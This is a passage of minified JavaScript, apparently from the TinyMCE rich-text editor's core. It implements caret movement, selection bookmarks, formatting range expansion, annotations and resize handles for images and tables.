Dr(e,r),a=kc(e)||Dc(e);if(t<0){if(a&&n(e=Ys(i.prev.bind(i),!0)))return e;for(;e=Ys(i.prev.bind(i),o);)if(n(e))return e}if(0<t){if(a&&n(e=Ys(i.next.bind(i),!0)))return e;for(;e=Ys(i.next.bind(i),o);)if(n(e))return e}return null}function Js(e,t){for(;e&&e!==t;){if(Ac(e))return e;e=e.parentNode}return null}function Qs(e,t,n){return Js(e.container(),n)===Js(t.container(),n)}function Zs(e,t){if(!t)return null;var n=t.container(),r=t.offset();return Tc(n)?n.childNodes[r+e]:null}function ec(e,t){var n=t.ownerDocument.createRange();return e?(n.setStartBefore(t),n.setEndBefore(t)):(n.setStartAfter(t),n.setEndAfter(t)),n}function tc(e,t,n){for(var r,o,i=e?"previousSibling":"nextSibling";n&&n!==t;){var a=n[i];if(Rc(a)&&(a=a[i]),kc(a)||_c(a)){if(o=n,Js(a,r=t)===Js(o,r))return a;break}if(Oc(a))break;n=n.parentNode}return null}function nc(e,t,n){var r,o=R(tc,!0,t),i=R(tc,!1,t),a=n.startContainer,u=n.startOffset;if(Lr(a)){var s=(a=Tc(a)?a:a.parentNode).getAttribute("data-mce-caret");if("before"===s&&Xs(r=a.nextSibling))return Bc(r);if("after"===s&&Xs(r=a.previousSibling))return Pc(r)}if(!n.collapsed)return n;if(Vn(a)){if(Rc(a)){if(1===e){if(r=i(a))return Bc(r);if(r=o(a))return Pc(r)}if(-1===e){if(r=o(a))return Pc(r);if(r=i(a))return Bc(r)}return n}if(Ro(a)&&u>=a.data.length-1)return 1===e&&(r=i(a))?Bc(r):n;if(Ao(a)&&u<=1)return-1===e&&(r=o(a))?Pc(r):n;if(u===a.data.length)return(r=i(a))?Bc(r):n;if(0===u)return(r=o(a))?Pc(r):n}return n}function rc(e,t){return ve.from(Zs(e?0:-1,t)).filter(kc)}function oc(e,t,n){var r=nc(e,t,n);return-1===e?cs.fromRangeStart(r):cs.fromRangeEnd(r)}function ic(e){return ve.from(e.getNode()).map(Et.fromDom)}function ac(e,t){for(;t=e(t);)if(t.isVisible())return t;return t}function uc(e,t){var n=Qs(e,t);return!(n||!Kn(e.getNode()))||n}cs.fromRangeStart=function(e){return cs(e.startContainer,e.startOffset)},cs.fromRangeEnd=function(e){return cs(e.endContainer,e.endOffset)},cs.after=function(e){return cs(e.parentNode,as(e)+1)},cs.before=function(e){return cs(e.parentNode,as(e))},cs.isAbove=function(e,t){return dn(Q(t.getClientRects()),Z(e.getClientRects()),Ou).getOr(!1)},cs.isBelow=function(e,t){return dn(Z(t.getClientRects()),Q(e.getClientRects()),Bu).getOr(!1)},cs.isAtStart=function(e){return!!e&&e.isAtStart()},cs.isAtEnd=function(e){return!!e&&e.isAtEnd()},cs.isTextPosition=function(e){return!!e&&Vn(e.container())},cs.isElementPosition=function(e){return!1===cs.isTextPosition(e)};var sc,cc,lc=Vn,fc=sn,dc=eu.nodeIndex,mc=function(e){var t=e.parentNode;return fc(t)?mc(t):t},gc=function(e){return e?me(e.childNodes,function(e,t){return fc(t)&&"BR"!==t.nodeName?e=e.concat(gc(t)):e.push(t),e},[]):[]},pc=Gn,hc=R(xs,u,!0),vc=eu.DOM,bc=Hn,yc=Vn,Cc=function(e){bc(e)&&Mr(e)&&(Fr(e)?e.removeAttribute("data-mce-caret"):Us(e)),yc(e)&&(Hs(e),0===e.data.length&&Us(e))},xc=dt().browser,wc=Gn,Sc=Qn,Nc=Jn,Ec=function(e){return wc(e)||Sc(e)},kc=Gn,_c=Qn,Ac=an("display","block table table-cell table-caption list-item"),Rc=Mr,Dc=Lr,Tc=Hn,Oc=Vr,Bc=R(ec,!0),Pc=R(ec,!1);function Lc(e,t){return e.hasChildNodes()&&t<e.childNodes.length?e.childNodes[t]:null}function Ic(e,t){if(0<e){if(Gl(t.previousSibling)&&!Kl(t.previousSibling))return cs.before(t);if(Kl(t))return cs(t,0)}if(e<0){if(Gl(t.nextSibling)&&!Kl(t.nextSibling))return cs.after(t);if(Kl(t))return cs(t,t.data.length)}return e<0&&!Yl(t)?cs.after(t):cs.before(t)}function Mc(t){return{next:function(e){return Ql(sc.Forwards,e,t)},prev:function(e){return Ql(sc.Backwards,e,t)}}}function Fc(e){return cs.isTextPosition(e)?0===e.offset():Vr(e.getNode())}function Uc(e){if(cs.isTextPosition(e)){var t=e.container();return e.offset()===t.data.length}return Vr(e.getNode(!0))}function zc(e,t){return!cs.isTextPosition(e)&&!cs.isTextPosition(t)&&e.getNode()===t.getNode(!0)}function Hc(o,i,a){return Zl(o,i,a).bind(function(e){return Qs(a,e,i)&&(t=a,n=e,o?!zc(t,n)&&(cs.isTextPosition(r=t)||!Kn(r.getNode()))&&Uc(t)&&Fc(n):!zc(n,t)&&Fc(t)&&Uc(n))?Zl(o,i,e):ve.some(e);var t,n,r})}function jc(e,t){var n,r,o,i,a,u=e?t.firstChild:t.lastChild;return Vn(u)?ve.some(cs(u,e?0:u.data.length)):u?Vr(u)?ve.some(e?cs.before(u):Kn(a=u)?cs.before(a):cs.after(a)):(r=t,o=u,i=(n=e)?cs.before(o):cs.after(o),Zl(n,r,i)):ve.none()}function Vc(e){return Hn(e)&&e.id===af}function qc(e,t){for(;t&&t!==e;){if(t.id===af)return t;t=t.parentNode}return null}function $c(e){return Nt.isArray(e.start)}function Wc(e,t){return Hn(t)&&e.isBlock(t)&&!t.innerHTML&&!xt.ie&&(t.innerHTML='<br data-mce-bogus="1" />'),t}function Kc(e,t,n){return!1===t.hasChildNodes()&&qc(e,t)&&(o=n,i=(r=t).ownerDocument.createTextNode(So),r.appendChild(i),o.setStart(i,0),o.setEnd(i,0),1);var r,o,i}function Xc(e,t,n,r){var o,i,a,u,s=n[t?"start":"end"],c=e.getRoot();if(s){for(a=s[0],i=c,o=s.length-1;1<=o;o--){if(u=i.childNodes,Kc(c,i,r))return 1;if(s[o]>u.length-1)return Kc(c,i,r)||function(t){return of(i).fold(D,function(e){return t.setStart(e.container(),e.offset()),t.setEnd(e.container(),e.offset()),!0})}(r);i=u[s[o]]}3===i.nodeType&&(a=Math.min(s[0],i.nodeValue.length)),1===i.nodeType&&(a=Math.min(s[0],i.childNodes.length)),t?r.setStart(i,a):r.setEnd(i,a)}return 1}function Yc(e){return Vn(e)&&0<e.data.length}function Gc(e,t,n){var r,o,i,a,u,s,c=e.get(n.id+"_"+t),l=n.keep;if(c){if(r=c.parentNode,o="start"===t?l?c.hasChildNodes()?(r=c.firstChild,1):Yc(c.nextSibling)?(r=c.nextSibling,0):Yc(c.previousSibling)?(r=c.previousSibling,c.previousSibling.data.length):(r=c.parentNode,e.nodeIndex(c)+1):e.nodeIndex(c):l?c.hasChildNodes()?(r=c.firstChild,1):Yc(c.previousSibling)?(r=c.previousSibling,c.previousSibling.data.length):(r=c.parentNode,e.nodeIndex(c)):e.nodeIndex(c),u=r,s=o,!l){for(a=c.previousSibling,i=c.nextSibling,Nt.each(Nt.grep(c.childNodes),function(e){Vn(e)&&(e.nodeValue=e.nodeValue.replace(/\uFEFF/g,""))});c=e.get(n.id+"_"+t);)e.remove(c,!0);a&&i&&a.nodeType===i.nodeType&&Vn(a)&&!xt.opera&&(o=a.nodeValue.length,a.appendData(i.nodeValue),e.remove(i),u=a,s=o)}return ve.some(cs(u,s))}return ve.none()}function Jc(t,e){!function(e,t){var n,r,o,i,a,u,s,c,l,f,d,m,g=e.dom;if(t){if($c(t))return d=t,m=(f=g).createRng(),Xc(f,!0,d,m)&&Xc(f,!1,d,m)?ve.some(m):ve.none();if(X(t.start))return ve.some((s=t,c=(u=g).createRng(),l=ps(u.getRoot(),s.start),c.setStart(l.container(),l.offset()),l=ps(u.getRoot(),s.end),c.setEnd(l.container(),l.offset()),c));if(Ee(t,"id"))return dn(a=Gc(o=g,"start",i=t),Gc(o,"end",i).or(a),function(e,t){var n=o.createRng();return n.setStart(Wc(o,e.container()),e.offset()),n.setEnd(Wc(o,t.container()),t.offset()),n});if(Ee(t,"name"))return n=g,ve.from(n.select((r=t).name)[r.index]).map(function(e){var t=n.createRng();return t.selectNode(e),t});if(Ee(t,"rng"))return ve.some(t.rng)}return ve.none()}(t,e).each(function(e){t.setRng(e)})}function Qc(e){return Hn(e)&&"SPAN"===e.tagName&&"bookmark"===e.getAttribute("data-mce-type")}function Zc(e){return""!==e&&-1!==" \f\n\r\t\v".indexOf(e)}function el(e){return!Zc(e)&&!sf(e)}function tl(e){return e.nodeType}function nl(e,t,n){var r,o=n.startOffset,i=n.startContainer;if((i!==n.endContainer||!(r=i.childNodes[o])||!/^(IMG)$/.test(r.nodeName))&&Hn(i)){var a=i.childNodes,u=void 0;o<a.length?(i=a[o],u=new Dr(i,e.getParent(i,e.isBlock))):(i=a[a.length-1],(u=new Dr(i,e.getParent(i,e.isBlock))).next(!0));for(var s=u.current();s;s=u.next())if(Vn(s)&&!cf(s))return n.setStart(s,0),t.setRng(n),0}}function rl(e,t,n){if(e){var r=t?"nextSibling":"previousSibling";for(e=n?e:e[r];e;e=e[r])if(Hn(e)||!cf(e))return e}}function ol(e,t){return tl(t)&&(t=t.nodeName),!!e.schema.getTextBlockElements()[t.toLowerCase()]}function il(e,t,n){return e.schema.isValidChild(t,n)}function al(e,n){return y(e)?e=e(n):V(n)&&(e=e.replace(/%(\w+)/g,function(e,t){return n[t]||e})),e}function ul(e,t){return e=""+((e=e||"").nodeName||e),t=""+((t=t||"").nodeName||t),e.toLowerCase()===t.toLowerCase()}function sl(e,t,n){return"color"!==n&&"backgroundColor"!==n||(t=e.toHex(t)),"fontWeight"===n&&700===t&&(t="bold"),""+("fontFamily"===n?t.replace(/[\'\"]/g,"").replace(/,\s+/g,","):t)}function cl(e,t,n){return sl(e,e.getStyle(t,n),n)}function ll(t,e){var n;return t.getParent(e,function(e){return(n=t.getStyle(e,"text-decoration"))&&"none"!==n}),n}function fl(e,t,n){return e.getParents(t,n,e.getRoot())}function dl(e,t){return F(e.formatter.get(t),function(t){function o(e){return 1<e.length&&"%"===e.charAt(0)}return F(["styles","attributes"],function(e){return ue(t,e).exists(function(e){var n,r;return F(S(e)?e:(n=u,r=[],ne(e,function(e,t){r.push(n(e,t))}),r),o)})})})}function ml(e){return se(e,"block")}function gl(e){return se(e,"selector")}function pl(e){return se(e,"inline")}function hl(e){return gl(e)&&!1!==e.expand&&!pl(e)}function vl(e,t){for(var n=t;n;){if(Hn(n)&&e.getContentEditable(n))return"false"===e.getContentEditable(n)?n:t;n=n.parentNode}return t}function bl(e,t,n,r){for(var o=t.data,i=n;e?0<=i:i<o.length;e?i--:i++)if(r(o.charAt(i)))return e?i+1:i;return-1}function yl(e,t,n){return bl(e,t,n,function(e){return sf(e)||Zc(e)})}function Cl(e,t,n){return bl(e,t,n,el)}function xl(i,e,t,n,a,r){function o(e,t,n){var r=Au(i),o=a?r.backwards:r.forwards;return ve.from(o(e,t,function(e,t){return lf(e.parentNode)?-1:n(a,u=e,t)},s))}var u,s=i.getParent(t,i.isBlock)||e;return o(t,n,yl).bind(function(e){return r?o(e.container,e.offset+(a?-1:0),Cl):ve.some(e)}).orThunk(function(){return u?ve.some({container:u,offset:a?0:u.length}):ve.none()})}function wl(e,t,n,r,o){Vn(r)&&Pe(r.data)&&r[o]&&(r=r[o]);for(var i=ff(e,r),a=0;a<i.length;a++)for(var u=0;u<t.length;u++){var s=t[u];if((!V(s.collapsed)||s.collapsed===n.collapsed)&&gl(s)&&e.is(i[a],s.selector))return i[a]}return r}function Sl(t,e,n,r){var o,i=n,a=t.dom,u=a.getRoot(),s=e[0];if((i=ml(s)?s.wrapper?null:a.getParent(n,s.block,u):i)||(o=a.getParent(n,"LI,TD,TH"),i=a.getParent(Vn(n)?n.parentNode:n,function(e){return e!==u&&mf(t,e)},o)),!(i=i&&ml(s)&&s.wrapper&&ff(a,i,"ul,ol").reverse()[0]||i))for(i=n;i[r]&&!a.isBlock(i[r])&&!ul(i=i[r],"br"););return i||n}function Nl(e,t,n,r,o){var i,a=n,u=o?"previousSibling":"nextSibling",s=e.getRoot();if(Vn(n)&&!df(n)&&(o?0<r:r<n.data.length))return n;for(;;){if(!t[0].block_expand&&e.isBlock(a))return a;for(var c=a[u];c;c=c[u]){var l=Vn(c)&&!gf(e,s,c,u);if(!lf(c)&&(!Kn(i=c)||!i.getAttribute("data-mce-bogus")||i.nextSibling)&&!df(c,l))return a}if(a===s||a.parentNode===s){n=a;break}a=a.parentNode}return n}function El(e){return lf(e.parentNode)||lf(e)}function kl(e,t,n,r){void 0===r&&(r=!1);var o=t.startContainer,i=t.startOffset,a=t.endContainer,u=t.endOffset,s=e.dom,c=n[0];return Hn(o)&&o.hasChildNodes()&&(o=Iu(o,i),Vn(o)&&(i=0)),Hn(a)&&a.hasChildNodes()&&(a=Iu(a,t.collapsed?u:u-1),Vn(a)&&(u=a.nodeValue.length)),o=vl(s,o),a=vl(s,a),El(o)&&(o=lf(o)?o:o.parentNode,o=t.collapsed?o.previousSibling||o:o.nextSibling||o,Vn(o)&&(i=t.collapsed?o.length:0)),El(a)&&(a=lf(a)?a:a.parentNode,a=t.collapsed?a.nextSibling||a:a.previousSibling||a,Vn(a)&&(u=t.collapsed?0:a.length)),t.collapsed&&(xl(s,e.getBody(),o,i,!0,r).each(function(e){var t=e.container,n=e.offset;o=t,i=n}),xl(s,e.getBody(),a,u,!1,r).each(function(e){var t=e.container,n=e.offset;a=t,u=n})),(pl(c)||c.block_expand)&&(pl(c)&&Vn(o)&&0!==i||(o=Nl(s,n,o,i,!0)),pl(c)&&Vn(a)&&u!==a.nodeValue.length||(a=Nl(s,n,a,u,!1))),hl(c)&&(o=wl(s,n,t,o,"previousSibling"),a=wl(s,n,t,a,"nextSibling")),(ml(c)||gl(c))&&(o=Sl(e,n,o,"previousSibling"),a=Sl(e,n,a,"nextSibling"),ml(c)&&(s.isBlock(o)||(o=Nl(s,n,o,i,!0)),s.isBlock(a)||(a=Nl(s,n,a,u,!1)))),Hn(o)&&(i=s.nodeIndex(o),o=o.parentNode),Hn(a)&&(u=s.nodeIndex(a)+1,a=a.parentNode),{startContainer:o,startOffset:i,endContainer:a,endOffset:u}}function _l(n,e,u){function s(e){var t=e[0];Vn(t)&&t===i&&o>=t.data.length&&e.splice(0,1);var n=e[e.length-1];return 0===a&&0<e.length&&n===l&&Vn(n)&&e.splice(e.length-1,1),e}function c(e,t,n){for(var r=[];e&&e!==n;e=e[t])r.push(e);return r}function t(e,t){return n.getParent(e,function(e){return e.parentNode===t},t)}function r(e,t,n){var r=n?"nextSibling":"previousSibling",o=e;for(o.parentNode;o&&o!==t;o=i){var i=o.parentNode,a=c(o===e?o:o[r],r);a.length&&(n||a.reverse(),u(s(a)))}}var o=e.startOffset,i=Iu(e.startContainer,o),a=e.endOffset,l=Iu(e.endContainer,a-1);if(i===l)return u(s([i]));var f=n.findCommonAncestor(i,l);if(n.isChildOf(i,l))return r(i,f,!0);if(n.isChildOf(l,i))return r(l,f);var d=t(i,f)||i,m=t(l,f)||l;r(i,d,!0);var g=c(d===i?d:d.nextSibling,"nextSibling",m===l?m.nextSibling:m);g.length&&u(s(g)),r(l,m)}function Al(e){var t=[];if(e)for(var n=0;n<e.rangeCount;n++)t.push(e.getRangeAt(n));return t}function Rl(e,t){var n=yu(t,"td[data-mce-selected],th[data-mce-selected]");return 0<n.length?n:U(H(e,function(e){var t=Lu(e);return t?[Et.fromDom(t)]:[]}),yo)}function Dl(e){return Rl(Al(e.selection.getSel()),Et.fromDom(e.getBody()))}function Tl(e,t){return vr(e,"table",t)}function Ol(o,e){return dn((r=e.startContainer,i=e.startOffset,Vn(r)?0===i?ve.some(Et.fromDom(r)):ve.none():ve.from(r.childNodes[i]).map(Et.fromDom)),(t=e.endContainer,n=e.endOffset,Vn(t)?n===t.data.length?ve.some(Et.fromDom(t)):ve.none():ve.from(t.childNodes[n-1]).map(Et.fromDom)),function(e,t){var n=M(pf(o),R(je,e)),r=M(hf(o),R(je,t));return n.isSome()&&r.isSome()}).getOr(!1);var t,n,r,i}function Bl(e,t,n,r){var o=n,i=new Dr(n,o),a=ae(e.schema.getMoveCaretBeforeOnEnterElements(),function(e,t){return!T(["td","th","table"],t.toLowerCase())});do{if(Vn(n)&&0!==Nt.trim(n.nodeValue).length)return r?t.setStart(n,0):t.setEnd(n,n.nodeValue.length),0;if(a[n.nodeName])return r?t.setStartBefore(n):"BR"===n.nodeName?t.setEndBefore(n):t.setEndAfter(n),0}while(n=r?i.next():i.prev());"BODY"===o.nodeName&&(r?t.setStart(o,0):t.setEnd(o,o.childNodes.length))}function Pl(e){var t=e.selection.getSel();return t&&0<t.rangeCount}function Ll(r,o){var e=Dl(r);0<e.length?Y(e,function(e){var t=e.dom,n=r.dom.createRng();n.setStartBefore(t),n.setEndAfter(t),o(n,!0)}):o(r.selection.getRng(),!1)}function Il(e,t,n){var r=Ss(e,t);n(r),e.moveToBookmark(r)}function Ml(e){return vf.get(e)}function Fl(e,t,n,r){var o=t.uid,i=void 0===o?wu("mce-annotation"):o,a=function(e,t){var n={};for(o in e)Object.prototype.hasOwnProperty.call(e,o)&&t.indexOf(o)<0&&(n[o]=e[o]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols)for(var r=0,o=Object.getOwnPropertySymbols(e);r<o.length;r++)t.indexOf(o[r])<0&&Object.prototype.propertyIsEnumerable.call(e,o[r])&&(n[o[r]]=e[o[r]]);return n}(t,["uid"]),u=Et.fromTag("span",e);vu(u,$u()),pn(u,""+Ku(),i),pn(u,""+Wu(),n);var s,c=r(i,a),l=c.attributes,f=c.classes,d=void 0===f?[]:f;return hn(u,void 0===l?{}:l),s=u,Y(d,function(e){vu(s,e)}),u}function Ul(u,e,t,n,r){function s(){d.clear()}function c(e){Y(e,o)}var l=[],f=Fl(u.getDoc(),r,t,n),d=du(),o=function(e){var t,n,r,o,i,a;switch(r=u,i="span",a=kt(o=e),Ot(o).fold(function(){return"skipping"},function(e){return"br"===a||An(n=o)&&Ml(n)===So?"valid":_n(t=o)&&bu(t,$u())?"existing":Vc(o.dom)?"caret":il(r,i,a)&&il(r,kt(e),i)?"valid":"invalid-child";var t,n})){case"invalid-child":s(),c(Tn(e)),s();break;case"valid":qt(t=e,n=d.get().getOrThunk(function(){var e=Eu(f);return l.push(e),d.set(e),e})),Ln(n,t)}};return _l(u.dom,e,function(e){s(),c(A(e,Et.fromDom))}),l}function zl(o){var n,e,r,i=(n={},{register:function(e,t){n[e]={name:e,settings:t}},lookup:function(e){return ue(n,e).map(function(e){return e.settings})}});r=i,(e=o).on("init",function(){e.serializer.addNodeFilter("span",function(e){Y(e,function(t){ve.from(t.attr(Wu())).bind(r.lookup).each(function(e){!1===e.persistent&&t.unwrap()})})})});var a=xu(o);return{register:function(e,t){i.register(e,t)},annotate:function(t,n){i.lookup(t).each(function(e){var u,s,c,l;s=t,c=e,l=n,(u=o).undoManager.transact(function(){var e,t,n,r,o=u.selection,i=o.getRng(),a=0<Dl(u).length;i.collapsed&&!a&&(n=kl(e=u,t=i,[{inline:"span"}]),t.setStart(n.startContainer,n.startOffset),t.setEnd(n.endContainer,n.endOffset),e.selection.setRng(t)),o.getRng().collapsed&&!a?(Su(r=Fl(u.getDoc(),l,s,c.decorate),wo),o.getRng().insertNode(r.dom),o.select(r.dom)):Il(o,!1,function(){Ll(u,function(e){Ul(u,e,s,c.decorate,l)})})})})},annotationChanged:function(e,t){a.addListener(e,t)},remove:function(e){Cu(o,ve.some(e)).each(function(e){Y(e.elements,Yt)})},getAll:function(e){var t,n,r;return re((t=e,n=yu(Et.fromDom(o.getBody()),"["+Wu()+'="'+t+'"]'),r={},Y(n,function(e){var t=vn(e,Ku()),n=ue(r,t).getOr([]);r[t]=n.concat([e])}),r),function(e){return A(e,function(e){return e.dom})})}}}function Hl(e){return{getBookmark:R(uf,e),moveToBookmark:R(Jc,e)}}(cc=sc=sc||{})[cc.Backwards=-1]="Backwards",cc[cc.Forwards=1]="Forwards";function jl(e){return Lo(e)||!!Fo(t=e)&&!0!==L(xe(t.getElementsByTagName("*")),function(e,t){return e||Do(t)},!1);var t}var Vl,ql,$l,Wl=Gn,Kl=Vn,Xl=Hn,Yl=Kn,Gl=Vr,Jl=qr,Ql=function(e,t,n){var r,o,i;if(!Xl(n)||!t)return null;if(t.isEqual(cs.after(n))&&n.lastChild){if(i=cs.after(n.lastChild),e<0&&Gl(n.lastChild)&&Xl(n.lastChild))return Yl(n.lastChild)?cs.before(n.lastChild):i}else i=t;var a,u,s,c=i.container(),l=i.offset();if(Kl(c)){if(e<0&&0<l)return cs(c,--l);if(0<e&&l<c.length)return cs(c,++l);r=c}else{if(e<0&&0<l&&(f=Lc(c,l-1),Gl(f)))return!jl(f)&&(o=Gs(f,e,Jl,f))?Kl(o)?cs(o,o.data.length):cs.after(o):Kl(f)?cs(f,f.data.length):cs.before(f);if(0<e&&l<c.childNodes.length&&(f=Lc(c,l),Gl(f)))return Yl(f)?(a=n,(s=(u=f).nextSibling)&&Gl(s)?Kl(s)?cs(s,0):cs.before(s):Ql(sc.Forwards,cs.after(u),a)):!jl(f)&&(o=Gs(f,e,Jl,f))?Kl(o)?cs(o,0):cs.before(o):Kl(f)?cs(f,0):cs.after(f);r=f||i.getNode()}if((0<e&&i.isAtEnd()||e<0&&i.isAtStart())&&(r=Gs(r,e,w,n,!0),Jl(r,n)))return Ic(e,r);var f=Gs(r,e,Jl,n),d=pe(U(function(e,t){for(var n=[];e&&e!==t;)n.push(e),e=e.parentNode;return n}(c,n),Wl));return!d||f&&d.contains(f)?f?Ic(e,f):null:0<e?cs.after(d):cs.before(d)},Zl=function(e,t,n){var r=Mc(t);return ve.from(e?r.next(n):r.prev(n))},ef=function(t,n,e,r){return Hc(t,n,e).bind(function(e){return r(e)?ef(t,n,e,r):ve.some(e)})},tf=R(Zl,!0),nf=R(Zl,!1),rf=R(jc,!0),of=R(jc,!1),af="_mce_caret",uf=function(e,t,n){return 2===t?xs(Eo,n,e):3===t?(o=(r=e).getRng(),{start:gs(r.dom.getRoot(),cs.fromRangeStart(o)),end:gs(r.dom.getRoot(),cs.fromRangeEnd(o))}):t?{rng:e.getRng()}:Ss(e,!1);var r,o},sf=(Vl=wo,function(e){return Vl===e}),cf=function(e,t){return void 0===t&&(t=!1),!(!V(e)||!Vn(e))&&$r(t?e.data.replace(/ /g,"\xa0"):e.data)},lf=Qc,ff=fl,df=cf,mf=ol,gf=function(e,t,n,r){var o=n.parentNode;return!V(n[r])&&(!(o!==t&&!K(o)&&!e.isBlock(o))||gf(e,t,o,r))},pf=function(t){return Ft(t).fold(J([t]),function(e){return[t].concat(pf(e))})},hf=function(t){return Ut(t).fold(J([t]),function(e){return"br"===kt(e)?Bt(e).map(function(e){return[t].concat(hf(e))}).getOr([]):[t].concat(hf(e))})},vf=(ql=An,{get:function(e){if(!ql(e))throw new Error("Can only get text value of a text node");return $l(e).getOr("")},getOption:$l=function(e){return ql(e)?ve.from(e.dom.nodeValue):ve.none()},set:function(e,t){if(!ql(e))throw new Error("Can only set raw text value of a text node");e.dom.nodeValue=t}});function bf(e,t){for(;t&&t!==e;){if(Yn(t)||Gn(t))return t;t=t.parentNode}return null}function yf(t,n,e){if(!e.collapsed){if(xt.browser.isIE()&&e.startOffset===e.endOffset-1&&e.startContainer===e.endContainer){var r=e.startContainer.childNodes[e.startOffset];if(Hn(r))return F(r.getClientRects(),function(e){return Pu(e,t,n)})}return F(e.getClientRects(),function(e){return Pu(e,t,n)})}}function Cf(e,t,n){return e.fire(t,n)}function xf(e,t,n,r){return e.fire("FormatApply",{format:t,node:n,vars:r})}function wf(e,t,n,r){return e.fire("FormatRemove",{format:t,node:n,vars:r})}function Sf(r,l){function c(e){return e&&("IMG"===e.nodeName||l.dom.is(e,"figure.image"))}function f(e){return Qn(e)||T.hasClass(e,"mce-preview-object")}function n(e){var t=e.target;!function(e,t){if("longpress"!==e.type&&0!==e.type.indexOf("touch"))return c(e.target)&&!yf(e.clientX,e.clientY,t);var n=e.touches[0];return c(e.target)&&!yf(n.clientX,n.clientY,t)}(e,l.selection.getRng())||e.isDefaultPrevented()||l.selection.select(t)}function d(e){return T.is(e,"figure.image")?[e.querySelector("img")]:T.hasClass(e,"mce-preview-object")&&V(e.firstElementChild)?[e,e.firstElementChild]:[e]}function i(e){var t=Ps(l);return!!t&&"false"!==e.getAttribute("data-mce-resize")&&e!==l.getBody()&&(T.hasClass(e,"mce-preview-object")?ze(Et.fromDom(e.firstElementChild),t):ze(Et.fromDom(e),t))}function a(e,t,n){V(n)&&Y(d(e),function(e){e.style[t]||!l.schema.isValid(e.nodeName.toLowerCase(),t)?T.setStyle(e,t,n):T.setAttrib(e,t,""+n)})}function m(e,t,n){a(e,"width",t),a(e,"height",n)}function g(e){var t,n,r,o,i,a,u=e.screenX-C,s=e.screenY-x;k=u*b[2]+w,_=s*b[3]+S,k=k<5?5:k,_=_<5?5:_,((c(p)||f(p))&&!1!==l.getParam("resize_img_proportional",!0,"boolean")?!If.modifierPressed(e):If.modifierPressed(e))&&(L(u)>L(s)?(_=I(k*N),k=I(_/N)):(k=I(_/N),_=I(k*N))),m(h,k,_),t=b.startPos.x+u,n=b.startPos.y+s,T.setStyles(v,{left:t=0<t?t:0,top:n=0<n?n:0,display:"block"}),v.innerHTML=k+" &times; "+_,b[2]<0&&h.clientWidth<=k&&T.setStyle(h,"left",void 0+(w-k)),b[3]<0&&h.clientHeight<=_&&T.setStyle(h,"top",void 0+(S-_)),(u=M.scrollWidth-A)+(s=M.scrollHeight-R)!=0&&T.setStyles(v,{left:t-u,top:n-s}),E||(r=p,o=w,i=S,a="corner-"+b.name,l.fire("ObjectResizeStart",{target:r,width:o,height:i,origin:a}),E=!0)}function o(e){function t(e,t){if(e)do{if(e===t)return 1}while(e=e.parentNode)}var n;E||l.removed||(O(T.select("img[data-mce-selected],hr[data-mce-selected]"),function(e){e.removeAttribute(D)}),n="mousedown"===e.type?e.target:r.getNode(),t(n=T.$(n).closest("table,img,figure.image,hr,video,span.mce-preview-object")[0],M)&&(s(),t(r.getStart(!0),n)&&t(r.getEnd(!0),n))?z(n):H())}function u(e){return Mf(bf(l.getBody(),e))}function s(){try{l.getDoc().execCommand("enableObjectResizing",!1,"false")}catch(e){}}var p,h,v,b,y,C,x,w,S,N,E,k,_,A,R,D="data-mce-selected",T=l.dom,O=Nt.each,B=l.getDoc(),P=document,L=Math.abs,I=Math.round,M=l.getBody(),F={nw:[0,0,-1,-1],ne:[1,0,1,-1],se:[1,1,1,1],sw:[0,1,-1,1]},U=function(){var e,t,n,r,o=E;E=!1,o&&(a(p,"width",k),a(p,"height",_)),T.unbind(B,"mousemove",g),T.unbind(B,"mouseup",U),P!==B&&(T.unbind(P,"mousemove",g),T.unbind(P,"mouseup",U)),T.remove(h),T.remove(v),T.remove(y),z(p),o&&(e=p,t=k,n=_,r="corner-"+b.name,l.fire("ObjectResized",{target:e,width:t,height:n,origin:r}),T.setAttrib(p,"style",T.getAttrib(p,"style"))),l.nodeChanged()},z=function(e){j();var t=T.getPos(e,M),a=t.x,u=t.y,n=e.getBoundingClientRect(),s=n.width||n.right-n.left,c=n.height||n.bottom-n.top;p!==e&&(H(),p=e,k=_=0);var r=l.fire("ObjectSelected",{target:e}),o=T.getAttrib(p,D,"1");i(e)&&!r.isDefaultPrevented()?O(F,function(o,i){var e=T.get("mceResizeHandle"+i);e&&T.remove(e),e=T.add(M,"div",{id:"mceResizeHandle"+i,"data-mce-bogus":"all",class:"mce-resizehandle",unselectable:!0,style:"cursor:"+i+"-resize; margin:0; padding:0"}),11===xt.ie&&(e.contentEditable=!1),T.bind(e,"mousedown",function(e){var t,n,r;e.stopImmediatePropagation(),e.preventDefault(),t=e,r=d(p)[0],C=t.screenX,x=t.screenY,w=r.clientWidth,S=r.clientHeight,N=S/w,(b=o).name=i,b.startPos={x:s*o[0]+a,y:c*o[1]+u},A=M.scrollWidth,R=M.scrollHeight,y=T.add(M,"div",{class:"mce-resize-backdrop","data-mce-bogus":"all"}),T.setStyles(y,{position:"fixed",left:"0",top:"0",width:"100%",height:"100%"}),h=f(n=p)?T.create("img",{src:xt.transparentSrc}):n.cloneNode(!0),T.addClass(h,"mce-clonedresizable"),T.setAttrib(h,"data-mce-bogus","all"),h.contentEditable="false",T.setStyles(h,{left:a,top:u,margin:0}),m(h,s,c),h.removeAttribute(D),M.appendChild(h),T.bind(B,"mousemove",g),T.bind(B,"mouseup",U),P!==B&&(T.bind(P,"mousemove",g),T.bind(P,"mouseup",U)),v=T.add(M,"div",{class:"mce-resize-helper","data-mce-bogus":"all"},w+" &times; "+S)}),o.elm=e,T.setStyles(e,{left:s*o[0]+a-e.offsetWidth/2,top:c*o[1]+u-e.offsetHeight/2})}):H(),T.getAttrib(p,D)||p.setAttribute(D,o)},H=function(){j(),p&&p.removeAttribute(D),ne(F,function(e,t){var n=T.get("mceResizeHandle"+t);n&&(T.unbind(n),T.remove(n))})},j=function(){ne(F,function(e){e.elm&&(T.unbind(e.elm),delete e.elm)})};return l.on("init",function(){var e;s(),(xt.browser.isIE()||xt.browser.isEdge())&&(l.on("mousedown click",function(e){var t=e.target,n=t.nodeName;E||!/^(TABLE|IMG|HR)$/.test(n)||u(t)||(2!==e.button&&l.selection.select(t,"TABLE"===n),"mousedown"===e.type&&l.nodeChanged())}),T.bind(M,"mscontrolselect",e=function(e){function t(e){Ar.setEditorTimeout(l,function(){return l.selection.select(e)})}if(u(e.target)||Qn(e.target))return e.preventDefault(),void t(e.target);/^(TABLE|IMG|HR)$/.test(e.target.nodeName)&&(e.preventDefault(),"IMG"===e.target.tagName&&t(e.target))}),l.on("remove",function(){return T.unbind(M,"mscontrolselect",e)}));var 